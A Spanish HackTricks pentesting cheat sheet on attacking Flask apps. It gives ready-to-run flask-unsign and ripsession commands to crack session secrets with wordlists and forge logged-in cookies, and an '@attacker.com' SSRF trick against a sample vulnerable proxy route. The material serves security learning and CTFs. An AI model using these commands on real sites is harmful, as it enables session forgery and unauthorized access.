hacktricks/network-services-pentesting/pentesting-web/flask.md

5.8 KiB

Flask

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Probablemente si estás participando en un CTF, una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre de sesión de cookie predeterminado es session.

Decodificador

Decodificador de cookies Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y descódificala en Base64>

echo "ImhlbGxvIg" | base64 -d

El cookie también está firmado usando una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, realizar fuerza bruta y crear cookies de sesión de una aplicación Flask al adivinar claves secretas.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza Bruta

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firma usando versiones antiguas (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar fuerza bruta en sitios web utilizando cookies creadas con flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente los payloads de sqlmap para Flask utilizando un secreto conocido.

Proxy de Flask a SSRF

En este artículo se explica cómo Flask permite una solicitud que comienza con el carácter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Cuál es el siguiente escenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como "@attacker.com" para causar un SSRF.

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: